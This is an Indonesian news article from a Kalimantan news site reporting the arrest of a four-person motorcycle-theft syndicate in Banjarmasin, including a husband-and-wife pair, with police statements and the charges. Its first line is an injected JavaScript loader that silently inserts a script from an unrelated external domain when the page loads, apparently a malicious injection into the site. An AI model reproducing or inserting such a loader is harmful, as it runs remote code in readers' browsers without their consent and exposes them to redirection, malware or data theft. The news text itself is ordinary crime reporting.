(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Pasutri Sindikat Curanmor di Banjarmasin, Ini Hasil ‘Kerja Bareng’ Tiga Bulan


KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Satreskrim Polresta Banjarmasin berhasil mengungkap empat pelaku tindak pidana pencurian kendaraan bermotor (curanmor) di kota Banjarmasin. Ada empat pelaku yang berhasil diamankan.

Menariknya, diantara empat pelaku, dua orang merupakan pasangan suami istri. Yaitu G dan istrinya F. Kepada awak media di Mapolresta Banjarmasin, F mengaku sudah tiga kali melakukan ‘kerja bareng’ sang suami.

“Saya tiga kali saja beraksi dengan dia (suami). Saya yang menjualnya,” kata F.

Sementara sang suami G mengaku, usai melakukan operasi, ia menjual kendaraan bermotor itu dengan harga yang cukup murah, hanya sebesar Rp3 juta saja.

 

“Ada tiga kali di Banjarmasin Selatan, daerah Pekauman,” aku G.

Keduanya mengaku, uang hasil penjualan kendaraan bermotor tersebut, digunakan untuk keperluan sehari-hari di rumah tangga. Apalagi G, ia hanyalah seorang tanpa pekerjaan tetap alias seorang pekerja serabutan.

“Terpaksa melakukan ini karena tidak ada pekerjaan tetap,” tutur G.

Sembilan unit motor hasil Curanmor empat pelaku yang ditangkap Polresta Banjarmasin. foto: fikri

Sebelumnya, kepada awak media Senin (20/7/2020), Kapolresta Banjarmasin Kombes Pol Rachmat Hendrawan mengatakan, para pelaku masing-masing bernama AM, R, G dan F ini, merupakan sindikat Curanmor. Saat ini, kepolisian baru mendapati  9 unit sepeda motor yang merupakan barang bukti tindak kejahatan pelaku.

Baca juga: Dibakar Api Cemburu, Doni Kalap Tusuk Pacar Mantan Istri

“Pelaku AM dan R telah melakukan aksinya dari bulan Agustus 2019 hingga 8 Juli 2020, sebanyak 17 kali. Yang kedua AM dan G, beraksi sebanyak 8 kali dari bulan Agustus sampai bulan Juli 2020,” kata Kombes Rachmat.

Terakhir, G bersama F yang belakangan diketahui merupakan sepasang suami istri. Keduanya ternyata telah beraksi sebanyak 3 kali, dari bulan Februari hingga Juli 2020.

Selain di kota Banjarmasin sebanyak 20 TKP, keempat pelaku diketahui beraksi di beberapa kabupaten dan kota di Kalsel. Di mana, mereka juga beraksi di 4 TKP di kota Banjarbaru, dan masing-masing 2 TKP di Kabupaten Banjar dan Kabupaten Barito Kuala.

Baca juga: Berebut Beringin, Citra Kandidat dan Pragmatisme Politik di Pilkada Banjarmasin

“Mereka ini sindikat. Saya belum mengetahui hasil pengembangan, yang jelas untuk sementara pengakuan mereka ini merupakan sindikat,” lugas Rachmat.

Kasat Reskrim Polresta Banjarmasin AKP Alfian Tri Permadi menambahkan, sindikat ini sudah diintai oleh kepolisian sejak lama. Karena aksi mereka sudah sangat meresahkan.

“Termasuk saat hari penangkapan, mereka berencana mau melakukan aksi lagi. Pasca kejadian ini, grafik laporan polisi soal Curanmor menurun drastis,” ungkap Alfian.

Saat melakukan aksi semuanya dilakukan pada malam hari, pelaku kadang beraksi sendiri dan berdua. Salah satu dari mereka memantau target terlebih dahulu sesuai dengan permintaan dengan tim di sekitar Kalimantan Tengah.

Baca juga: Kalsel Belum Beranjak dari 5 Besar Penyumbang Covid-19

Sehingga ketika mereka sudah melakukan eksekusi, mereka simpan sekitar satu hingga dua kendaraan hasil jarahan.

“Dari pihak sana sudah akan mengambil untuk dibawa dan dijual. Dari 20 TKP di Banjarmasin butuh waktu tiga bulan,” lugas Alfian.

Bahkan dalam melakukan aksinya, hanya membutuhkan waktu selama 30 detik saja. Ketika sepeda motor sudah diparkir, mereka langsung beraksi dan kabur.

“Sesuai petunjuk CCTV, mereka lakukan aksinya. Hanya hitungan singkat saja,” pungkas Alfian.

Keempat pelaku sendiri dikenakan pasal 363 KUHP tentang pencurian dengan ancaman hukuman 7 tahun penjara.

Selain di kota Banjarmasin sebanyak 20 TKP, keempat pelaku diketahui beraksi di beberapa kabupaten dan kota di Kalsel. Di mana, mereka juga beraksi di 4 TKP di kota Banjarbaru, dan masing-masing 2 TKP di Kabupaten Banjar dan Kabupaten Barito Kuala.(kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

5 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

6 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

7 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

8 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

9 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

9 jam ago

This website uses cookies.